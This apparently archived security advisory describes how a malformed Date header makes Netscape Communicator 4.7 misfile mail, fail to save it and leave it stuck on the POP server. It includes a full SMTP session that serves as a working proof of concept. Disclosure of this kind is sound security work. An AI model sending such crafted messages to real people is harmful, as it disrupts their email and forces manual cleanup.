COMMAND

    mail with Communicator

SYSTEMS AFFECTED

    Communicator 4.7

PROBLEM

    Blue Boar found  following.  He  was noticing that  messages place
    themselves in order of date in my inbox.  The date, of course,  is
    dictated by  the sender.   After some  playing around,  he came up
    with this set of SMTP commands:

        EHLO thievco.com
        MAIL FROM:<BlueBoar@thievco.com>
        RCPT TO:<blueboar@thievco.com>
        DATA
        Date: Fri, 40 Nov 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 30:70:70 -9900
        From: Blue Boar <BlueBoar@thievco.com>
        To: blueboar@thievco.com
        Subject: testsub


        testbody

        .

        QUIT

    That would  cause his  mail program  trouble.   It reads the mail,
    places it  as the  oldest e-mail  (thinks it's  12/31/69) and then
    gives a message:

        "Error saving mail"

    So far,  nothing has  crashed, however  it refused  to delete them
    from  the  POP  server.   You  have  to  manually  delete  them by
    telnetting to port 110 and doing DELE commands.  Clearly, one  can
    expect problems  with e-mail  clients and  news readers  trying to
    interpret intentionally bogus date fields.

SOLUTION

    Nothing yet.